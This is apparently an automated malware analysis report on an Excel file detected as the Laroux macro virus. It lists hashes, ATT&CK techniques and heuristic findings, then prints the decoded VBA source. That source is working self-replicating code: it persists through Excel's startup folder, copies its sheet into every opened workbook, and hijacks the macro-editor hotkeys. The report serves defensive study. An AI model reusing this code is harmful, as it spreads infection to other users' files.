Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb31911bd9955e22…

MALICIOUS

Office (OLE)

108.0 KB Created: 2014-02-08 02:08:22 Authoring application: Microsoft Excel First seen: 2020-08-10
MD5: 3f4af9ece651b4680fee8a53df443424 SHA-1: a1598b1543f477864105c402c4333e865fb659d6 SHA-256: eb31911bd9955e226f9229e2219b4bf1dde001ab3da718e6516683b33cc87bbf
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup directory as 'StartUp.xls' to achieve persistence. It also manipulates application settings and hotkeys, likely to hide its execution or prevent user interaction. The presence of an Auto_Open macro and the persistence mechanism strongly suggest malicious intent.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1670 bytes
SHA-256: bab944f5cd6de11e6c5d4563ca79c1ede07550af3c50f53b1f8181b861eaf47a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.ScreenUpdating = False
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Application.ScreenUpdating = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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